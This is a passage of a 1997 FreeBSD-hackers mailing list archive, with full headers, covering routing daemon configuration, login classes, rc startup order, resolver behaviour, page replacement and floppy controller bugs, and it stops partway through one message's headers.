bulk Why gated down an interface? The following message is show : router_a gated[190]: if_rtdown: DOWN route for interface ppp0 200.20.30.1/255.255.255.255 or router_b gated[154]: if_rtdown: DOWN route for interface ed0 168.176.1.5/255.255 Thanks. ------------------------------------------------------------------------- YONNY CARDENAS B. Systems Engineer || || ||| || Universidad Nacional de Colombia || || || | || Email : yonny@ingenieria.ingsala.unal.edu.co ||||||| || ||| From owner-freebsd-hackers Mon Sep 15 16:12:09 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA01919 for hackers-outgoing; Mon, 15 Sep 1997 16:12:09 -0700 (PDT) Received: from ingenieria ([168.176.15.11]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id QAA01767 for ; Mon, 15 Sep 1997 16:08:44 -0700 (PDT) Received: by ingenieria (SMI-8.6/SMI-SVR4) id SAA06410; Mon, 15 Sep 1997 18:55:00 -0400 Date: Mon, 15 Sep 1997 18:54:59 -0400 (EDT) From: Yonny Cardenas To: hackers@freebsd.org Subject: Configuring routed Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I am configuring "routed", I need suply the following parameters ripv2, send_solicit,rdisk_adv and redirect_ok. but I know not how write in file of configuration /etc/gateways My file /etc/gateways have problems : net 200.20.10.0 gateway 200.20.10.9 metric 10 active if=ppp0 ripv2 send_solicit,rdisk_adv,redirect_ok Thanks for your help. ------------------------------------------------------------------------- YONNY CARDENAS B. Systems Engineer || || ||| || Universidad Nacional de Colombia || || || | || Email : yonny@ingenieria.ingsala.unal.edu.co ||||||| || ||| From owner-freebsd-hackers Mon Sep 15 16:17:32 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA02210 for hackers-outgoing; Mon, 15 Sep 1997 16:17:32 -0700 (PDT) Received: from mailbag.jf.intel.com ([134.134.248.7]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id QAA02205 for ; Mon, 15 Sep 1997 16:17:29 -0700 (PDT) Received: from aahz.jf.intel.com (aahz.jf.intel.com [192.198.161.2]) by mailbag.jf.intel.com (8.8.6/8.8.5) with ESMTP id QAA15684; Mon, 15 Sep 1997 16:19:01 -0700 (PDT) Received: (from batie@localhost) by aahz.jf.intel.com (8.8.5/8.8.5) id QAA09619; Mon, 15 Sep 1997 16:16:22 -0700 (PDT) Message-ID: <19970915161622.40763@aahz.jf.intel.com> Date: Mon, 15 Sep 1997 16:16:22 -0700 From: Alan Batie To: David Nugent Cc: Tom Samplonius , hackers@FreeBSD.ORG Subject: Re: login classes References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.76 In-Reply-To: ; from David Nugent on Fri, Aug 08, 1997 at 11:04:36PM +1000 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Fri, Aug 08, 1997 at 11:04:36PM +1000, David Nugent wrote: > > Do you have a comprehensive list of things that are setting the login > > class? > > login, slogin (our port, anyway), rlogin, telnet (both via login), ftpd, > cron. (picking up an old thread which just poked me in the butt again) Add smbd (samba) to the list --- I just had to kill it and restart it manually so that it would pick up enough process resources to let me print from my PC. I tried to add setusercontext to it, but it started complaining about having a trapdoor uid/gid and I don't have time at the moment to figure out all the weird uid stuff they're doing (become this, unbecome that, etc), since the workaround is pretty easy. The default and root classes have plenty of processes, so something isn't getting setup properly for things that are started out of rc. -- Alan Batie ------ What goes up, must come down. batie@aahz.jf.intel.com \ / Ask any system administrator. +1 503-264-8844 (voice) \ / --unknown D0 D2 39 0E 02 34 D6 B4 \/ 5A 41 21 8F 23 5F 08 9D From owner-freebsd-hackers Mon Sep 15 16:22:24 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA02581 for hackers-outgoing; Mon, 15 Sep 1997 16:22:24 -0700 (PDT) Received: from ghost.mep.ruhr-uni-bochum.de (ghost.mep.ruhr-uni-bochum.de [134.147.6.33]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id QAA02566 for ; Mon, 15 Sep 1997 16:21:35 -0700 (PDT) Received: (from roberte@localhost) by ghost.mep.ruhr-uni-bochum.de (8.8.5/8.8.4) id BAA04912; Tue, 16 Sep 1997 01:21:17 +0200 (MESZ) From: Robert Eckardt Message-Id: <199709152321.BAA04912@ghost.mep.ruhr-uni-bochum.de> Subject: Re: A crash that isn't In-Reply-To: from Daniel O'Callaghan at "Sep 16, 97 08:37:38 am" To: danny@panda.hilink.com.au (Daniel O'Callaghan) Date: Tue, 16 Sep 1997 01:21:17 +0200 (MESZ) Cc: roberte@MEP.Ruhr-Uni-Bochum.de, hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL31H (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk It was Daniel O'Callaghan who wrote: > On Mon, 15 Sep 1997, Robert Eckardt wrote: [...] > > roberte ttyp0 134.147.6.3 Mon Sep 15 13:02 - 13:16 (00:13) > > reboot ~ Mon Sep 15 12:47 > > roberte ttyp0 134.147.6.3 Mon Sep 15 12:47 - crash (00:00) > > shutdown ~ Mon Sep 15 12:40 > > roberte ttyp1 134.147.6.3 Mon Sep 15 12:22 - shutdown (00:18) [...] > > Can the late logging of reboot be responsible for this strange crash entry ? > > Looks like it to me. Question is, how come you managed to log in before > the ~reboot entry was added. In fact, I don't know. I just kept trying. May be it was delayed from starting of all the daemons. I just sat there and pressed return when I thought the time was right. I doubt I could repeat it at will. Robert > /* Daniel O'Callaghan */ > /* HiLink Internet danny@hilink.com.au */ > /* FreeBSD - works hard, plays hard... danny@freebsd.org */ -- Robert Eckardt \\ FreeBSD -- solutions for a large universe.(tm) RobertE@MEP.Ruhr-Uni-Bochum.de \\ What do you want to boot tomorrow ?(tm) http://WWW.MEP.Ruhr-Uni-Bochum.de/~roberte For PGP-key finger roberte@gluon.MEP.Ruhr-Uni-Bochum.de From owner-freebsd-hackers Mon Sep 15 16:31:03 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA03000 for hackers-outgoing; Mon, 15 Sep 1997 16:31:03 -0700 (PDT) Received: from panda.hilink.com.au (panda.hilink.com.au [203.8.15.25]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id QAA02992 for ; Mon, 15 Sep 1997 16:30:58 -0700 (PDT) Received: (from danny@localhost) by panda.hilink.com.au (8.8.5/8.8.5) id JAA27115; Tue, 16 Sep 1997 09:30:20 +1000 (EST) Date: Tue, 16 Sep 1997 09:30:19 +1000 (EST) From: "Daniel O'Callaghan" To: Yonny Cardenas cc: hackers@FreeBSD.ORG Subject: Re: Interface DOWN In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > Why gated down an interface? > > The following message is show : > > router_a gated[190]: if_rtdown: DOWN route for interface ppp0 > 200.20.30.1/255.255.255.255 > router_b gated[154]: if_rtdown: DOWN route for interface ed0 > 168.176.1.5/255.255 You probably did not declare the interface to be passive. You should declare ppp interfaces to be passive; not sure why ed0 went down. I use: interfaces { interface all passive ; } ; Danny From owner-freebsd-hackers Mon Sep 15 16:32:45 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA03134 for hackers-outgoing; Mon, 15 Sep 1997 16:32:45 -0700 (PDT) Received: from bitbox.follo.net (bitbox.follo.net [194.198.43.36]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id QAA03122; Mon, 15 Sep 1997 16:32:40 -0700 (PDT) Received: (from eivind@localhost) by bitbox.follo.net (8.8.6/8.8.6) id BAA25440; Tue, 16 Sep 1997 01:32:28 +0200 (MET DST) Date: Tue, 16 Sep 1997 01:32:28 +0200 (MET DST) Message-Id: <199709152332.BAA25440@bitbox.follo.net> From: Eivind Eklund To: Poul-Henning Kamp CC: hackers@FreeBSD.ORG In-reply-to: Poul-Henning Kamp's message of Wed, 10 Sep 1997 14:27:41 -0700 (PDT) Subject: Pre-conditions (was Re: cvs commit: src/sys/nfs nfs_vnops.c) References: <199709102127.OAA23352@freefall.freebsd.org> Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > phk 1997/09/10 14:27:41 PDT > > Modified files: > sys/nfs nfs_vnops.c > Log: > Don't repeat checks done at general level. On a fairly general level: I'd have changed these to consistency checks enclosed in #if DEBUG/#endif, and a panic (lacking a good standardized assert facility; assert() is message-less and thus not good enough). I like to make 'each routine its own castle' in debugging mode, not trusting ANYTHING that is passed in from anywhere. How is this for other people? Is that considered unnecessary cluttering of the sources? Done correctly, I find it a very good form of documentation of each functions pre-conditions (and possibly post-conditions/invariants, but that is much more clutter). Eivind. From owner-freebsd-hackers Mon Sep 15 16:40:39 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA03446 for hackers-outgoing; Mon, 15 Sep 1997 16:40:39 -0700 (PDT) Received: from alpo.whistle.com (alpo.whistle.com [207.76.204.38]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id QAA03440 for ; Mon, 15 Sep 1997 16:40:36 -0700 (PDT) Received: (from daemon@localhost) by alpo.whistle.com (8.8.5/8.8.5) id QAA06626; Mon, 15 Sep 1997 16:33:47 -0700 (PDT) Received: from current1.whistle.com(207.76.205.22) via SMTP by alpo.whistle.com, id smtpd006624; Mon Sep 15 23:33:43 1997 Message-ID: <341DC5B1.4487EB71@whistle.com> Date: Mon, 15 Sep 1997 16:33:05 -0700 From: Julian Elischer Organization: Whistle Communications X-Mailer: Mozilla 3.0Gold (X11; I; FreeBSD 2.2-CURRENT i386) MIME-Version: 1.0 To: Sunthiti Patchararungruang CC: hackers@FreeBSD.ORG Subject: Re: Problem about BPF References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Sunthiti Patchararungruang wrote: > > Dear every body, > > If I want to send a frame to a BPF device, can I use more than one > "write" commands to complete all fields of a packet? (i.e. first write for > ether_header and another write for IP packet). > > Best Regards, > Sunthiti Patchararungruang NO From owner-freebsd-hackers Mon Sep 15 16:50:37 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA03811 for hackers-outgoing; Mon, 15 Sep 1997 16:50:37 -0700 (PDT) Received: from awfulhak.demon.co.uk (awfulhak.demon.co.uk [158.152.17.1]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id QAA03805 for ; Mon, 15 Sep 1997 16:50:29 -0700 (PDT) Received: from gate.lan.awfulhak.org (localhost [127.0.0.1]) by awfulhak.demon.co.uk (8.8.5/8.8.5) with ESMTP id VAA07129; Mon, 15 Sep 1997 21:21:22 +0100 (BST) Message-Id: <199709152021.VAA07129@awfulhak.demon.co.uk> X-Mailer: exmh version 2.0zeta 7/24/97 To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Why not DNS (was: nfs startup - perhaps it is a problem) In-reply-to: Your message of "Mon, 15 Sep 1997 08:44:37 +0200." <19970915084437.XX17061@uriah.heep.sax.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 15 Sep 1997 21:21:21 +0100 From: Brian Somers Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > As Nate Williams wrote: > > > NTP, AMD, firewall stuff. Heck, the default 'setup' assumes it can resolve > > hostnames just to configure your IP address, ... > > Huh? No, Nate, we've abandoned this long ago. We are using IP > numbers there to solve the chicken-and-egg problems. So is there a reason for not having named started at the end of network_pass1 rather than at the start of pass2 ? There's even a comment in rc saying that without resolv.conf, we need to start named before syslogd (it's actually started afterwards). The "original" problem that started this thread was that the mount -a -t nfs fails when there's no resolv.conf. > -- > cheers, J"org > > joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE > Never trust an operating system you don't have sources for. ;-) -- Brian , Don't _EVER_ lose your sense of humour.... From owner-freebsd-hackers Mon Sep 15 16:50:40 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA03822 for hackers-outgoing; Mon, 15 Sep 1997 16:50:40 -0700 (PDT) Received: from awfulhak.demon.co.uk (awfulhak.demon.co.uk [158.152.17.1]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id QAA03807 for ; Mon, 15 Sep 1997 16:50:35 -0700 (PDT) Received: from gate.lan.awfulhak.org (localhost [127.0.0.1]) by awfulhak.demon.co.uk (8.8.5/8.8.5) with ESMTP id VAA07145; Mon, 15 Sep 1997 21:24:35 +0100 (BST) Message-Id: <199709152024.VAA07145@awfulhak.demon.co.uk> X-Mailer: exmh version 2.0zeta 7/24/97 To: Snob Art Genre cc: Stephen McKay , freebsd-hackers@FreeBSD.ORG Subject: Re: Here's an interesting bug in our utmp handling. In-reply-to: Your message of "Mon, 15 Sep 1997 01:11:06 EDT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 15 Sep 1997 21:24:35 +0100 From: Brian Somers Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Agree. Not only have I never used it, I've never even heard of anyone > using it. Ok, come to think of it, I have used it, but only because I was > amazed that I could. :-) [.....] The only person I've seen use it is a newbee that wanted to become root. "So I just type login root then ?". > Ben > > "You have your mind on computers, it seems." > -- Brian , Don't _EVER_ lose your sense of humour.... From owner-freebsd-hackers Mon Sep 15 16:51:06 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA03878 for hackers-outgoing; Mon, 15 Sep 1997 16:51:06 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id QAA03868 for ; Mon, 15 Sep 1997 16:51:01 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id BAA01385 for hackers@FreeBSD.ORG; Tue, 16 Sep 1997 01:50:50 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id BAA09000; Tue, 16 Sep 1997 01:28:39 +0200 (MET DST) Message-ID: <19970916012839.ZH62432@uriah.heep.sax.de> Date: Tue, 16 Sep 1997 01:28:39 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@FreeBSD.ORG (FreeBSD Hackers) Subject: Re: Resolver broken? [Was:nfs startup - perhaps it is a problem] References: <199709142148.OAA22603@usr09.primenet.com> <199709150141.CAA26286@awfulhak.demon.co.uk> <19970915084314.IA03797@uriah.heep.sax.de> <19970915165338.14706@lemis.com> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <19970915165338.14706@lemis.com>; from Greg Lehey on Sep 15, 1997 16:53:38 +0930 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Greg Lehey wrote: > Been there, done that. I'd categorize this as a sendmail bug, > however. There's nothing in the /etc/hosts world which suggests that > a . at the end of a name is legal. Programs should not need to know how the resolving is actually done. Appending a dot to force a name into the root domain and bypass name search order is a commonly accepted method, as such, the /etc/hosts resolving should know how to handle it. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Mon Sep 15 16:51:14 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA03915 for hackers-outgoing; Mon, 15 Sep 1997 16:51:14 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id QAA03891 for ; Mon, 15 Sep 1997 16:51:08 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id BAA01387; Tue, 16 Sep 1997 01:51:06 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id BAA09093; Tue, 16 Sep 1997 01:49:24 +0200 (MET DST) Message-ID: <19970916014924.RB17838@uriah.heep.sax.de> Date: Tue, 16 Sep 1997 01:49:24 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@FreeBSD.ORG Cc: djardine@hotmail.com (Douglas Jardine) Subject: Re: LRU implementation References: <19970915125503.19344.qmail@hotmail.com> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <19970915125503.19344.qmail@hotmail.com>; from Douglas Jardine on Sep 15, 1997 05:55:03 -0800 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Douglas Jardine wrote: > I had a question on the implementation of Global-LRU in FreeBSD: > What exact implementation does it employ - CLOCK, 2-handed CLOCK > or K-bit LRU? > > The 4.3BSD book says that 4.3BSD uses 2-handed CLOCK but the 4.4BSD > book is silent on this topic. Did FreeBSD diverge from 4.4BSD in > this aspect? Does 4.4BSD use a 2-handed clock too? My opinion on this is not very authoritative, but if i remember the 4.3BSD daemon book correctly, the two-handed clock (*) was just a hack that was required on the Vax. The Vax MMU doesn't have a `page referenced' bit, so it had to be simulated by first invalidating the page (1st clock hand), and then look which pages weren't reclaimed (2nd hand). The i386 architecture does have a referenced bit. (*) I've unfortunately only got the (terrible) German translation of the 4.3BSD book. They indeed translated this into ``zweihändige Uhr''. :-O -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Mon Sep 15 16:51:19 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA03943 for hackers-outgoing; Mon, 15 Sep 1997 16:51:19 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id QAA03914 for ; Mon, 15 Sep 1997 16:51:13 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id BAA01388 for hackers@FreeBSD.ORG; Tue, 16 Sep 1997 01:51:12 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id BAA09012; Tue, 16 Sep 1997 01:31:09 +0200 (MET DST) Message-ID: <19970916013109.OO41523@uriah.heep.sax.de> Date: Tue, 16 Sep 1997 01:31:09 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@FreeBSD.ORG Subject: Re: Do *you* have problems with floppies? References: <19970914142654.GG28248@uriah.heep.sax.de> <199709142144.OAA22143@usr09.primenet.com> <19970915082959.QR50985@uriah.heep.sax.de> <19970915165209.18022@lemis.com> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <19970915165209.18022@lemis.com>; from Greg Lehey on Sep 15, 1997 16:52:09 +0930 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Greg Lehey wrote: > I'm not too sure we're talking about the same command. It's been a > while, but my recollection of READ TRACK was that it did just that: it > started at the index pulse and returned everything that it could sync > on until it got another index pulse, including gaps, flags, headers > and all. Yep, that's it -- almost. It is described as starting at the index hole, but it's actually starting at the first ID field that is found. The consequence is that the first sector's worth of data is indeed in the correct bit synchronization. The remaining sectors aren't, they are being delivered in the bit synchronization as they happened to pass under the head. I.e., they can be bit-shifted and/or inverted. As i wrote, it might suit for debugging purposes, but nothing else. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Mon Sep 15 16:51:22 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA03958 for hackers-outgoing; Mon, 15 Sep 1997 16:51:22 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id QAA03928 for ; Mon, 15 Sep 1997 16:51:16 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id BAA01389 for freebsd-hackers@FreeBSD.ORG; Tue, 16 Sep 1997 01:51:15 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id BAA09024; Tue, 16 Sep 1997 01:32:24 +0200 (MET DST) Message-ID: <19970916013224.LK21199@uriah.heep.sax.de> Date: Tue, 16 Sep 1997 01:32:24 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: freebsd-hackers@FreeBSD.ORG Subject: Re: sperl.. References: X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: ; from Existence is Futile on Sep 15, 1997 10:21:19 +0200 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Existence is Futile wrote: > I guess I just assumed that it said the same version, that it would have > the same exploit. Would have thought it'd been pushed up to 4.037 by the > camel guys, but I guess I've fouled up this time :) or at least named > 4.036b or something odd. Perl 4 is officially abandoned by the Perl Gods. They didn't submit any patch for it, nor did the CERT Advisory. We've fixed the bug only in the FreeBSD tree. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Mon Sep 15 16:51:26 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA03978 for hackers-outgoing; Mon, 15 Sep 1997 16:51:26 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id QAA03948 for ; Mon, 15 Sep 1997 16:51:19 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id BAA01390 for hackers@FreeBSD.ORG; Tue, 16 Sep 1997 01:51:18 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id BAA09033; Tue, 16 Sep 1997 01:33:54 +0200 (MET DST) Message-ID: <19970916013353.IQ64035@uriah.heep.sax.de> Date: Tue, 16 Sep 1997 01:33:53 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@FreeBSD.ORG Subject: Re: Do *you* have problems with floppies? References: <19970915082959.QR50985@uriah.heep.sax.de> <199709151250.HAA22146@nospam.hiwaay.net> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199709151250.HAA22146@nospam.hiwaay.net>; from dkelly@HiWAAY.net on Sep 15, 1997 07:50:17 -0500 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As dkelly@HiWAAY.net wrote: > > Btw., Tor Egge meanwhile confirmed that his motherboard/chipset is > > broken. ... > > When I disable `Passive release', the errors during formatting > > disappears. > > Does this say, "Tor's MB is broken?" No, but he confirmed it in a private mail, after reading what this feature is supposed to do. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Mon Sep 15 16:51:28 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA03997 for hackers-outgoing; Mon, 15 Sep 1997 16:51:28 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id QAA03972 for ; Mon, 15 Sep 1997 16:51:23 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id BAA01391 for hackers@FreeBSD.ORG; Tue, 16 Sep 1997 01:51:22 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id BAA09045; Tue, 16 Sep 1997 01:35:17 +0200 (MET DST) Message-ID: <19970916013516.JM28299@uriah.heep.sax.de> Date: Tue, 16 Sep 1997 01:35:16 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@FreeBSD.ORG Subject: Re: Do *you* have problems with floppies? References: <19970915082959.QR50985@uriah.heep.sax.de> <199709151250.HAA22146@nospam.hiwaay.net> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199709151250.HAA22146@nospam.hiwaay.net>; from dkelly@HiWAAY.net on Sep 15, 1997 07:50:17 -0500 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As dkelly@HiWAAY.net wrote: > Noticed Passive Release went from > Enabled to Disabled. And mostly *my* problems have disappeared too. Was > able to get one or two errors off the FDC. p.s.: Does your mainboard also have a Winbond chip for the FDC? Quite possible that this is the actual culprit. I think my board has an SMC chip. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Mon Sep 15 16:53:15 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA04335 for hackers-outgoing; Mon, 15 Sep 1997 16:53:15 -0700 (PDT) Received: from hydrogen.nike.efn.org (resnet.uoregon.edu [128.223.170.28]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id QAA04286 for ; Mon, 15 Sep 1997 16:53:02 -0700 (PDT) Received: (from jmg@localhost) by hydrogen.nike.efn.org (8.8.7/8.8.7) id QAA28568; Mon, 15 Sep 1997 16:52:19 -0700 (PDT) Message-ID: <19970915165219.23543@hydrogen.nike.efn.org> Date: Mon, 15 Sep 1997 16:52:19 -0700 From: John-Mark Gurney To: "Daniel O'Callaghan" Cc: Yonny Cardenas , hackers@FreeBSD.ORG Subject: Re: Interface DOWN References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.69 In-Reply-To: ; from Daniel O'Callaghan on Tue, Sep 16, 1997 at 09:30:19AM +1000 Reply-To: John-Mark Gurney Organization: Cu Networking X-Operating-System: FreeBSD 2.2.1-RELEASE i386 X-PGP-Fingerprint: B7 EC EF F8 AE ED A7 31 96 7A 22 B3 D8 56 36 F4 X-Files: The truth is out there X-URL: http://resnet.uoregon.edu/~gurney_j/ Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Daniel O'Callaghan scribbled this message on Sep 16: > > router_a gated[190]: if_rtdown: DOWN route for interface ppp0 > > 200.20.30.1/255.255.255.255 > > router_b gated[154]: if_rtdown: DOWN route for interface ed0 > > 168.176.1.5/255.255 > > You probably did not declare the interface to be passive. You should > declare ppp interfaces to be passive; not sure why ed0 went down. > > I use: > > interfaces { > interface all passive ; > } ; what does this do?? -- John-Mark Gurney Modem/FAX: +1 541 683 6954 Cu Networking Live in Peace, destroy Micro$oft, support free software, run FreeBSD From owner-freebsd-hackers Mon Sep 15 17:08:15 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id RAA05184 for hackers-outgoing; Mon, 15 Sep 1997 17:08:15 -0700 (PDT) Received: from usr08.primenet.com (tlambert@usr08.primenet.com [206.165.6.208]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id RAA05178 for ; Mon, 15 Sep 1997 17:08:10 -0700 (PDT) Received: (from tlambert@localhost) by usr08.primenet.com (8.8.5/8.8.5) id RAA05782; Mon, 15 Sep 1997 17:08:02 -0700 (MST) From: Terry Lambert Message-Id: <199709160008.RAA05782@usr08.primenet.com> Subject: Re: Memory leak in getservbyXXX? To: karpen@ocean.campus.luth.se (Mikael Karpberg) Date: Tue, 16 Sep 1997 00:08:02 +0000 (GMT) Cc: tlambert@primenet.com, hackers@FreeBSD.ORG In-Reply-To: <199709152300.BAA03577@ocean.campus.luth.se> from "Mikael Karpberg" at Sep 16, 97 01:00:49 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: 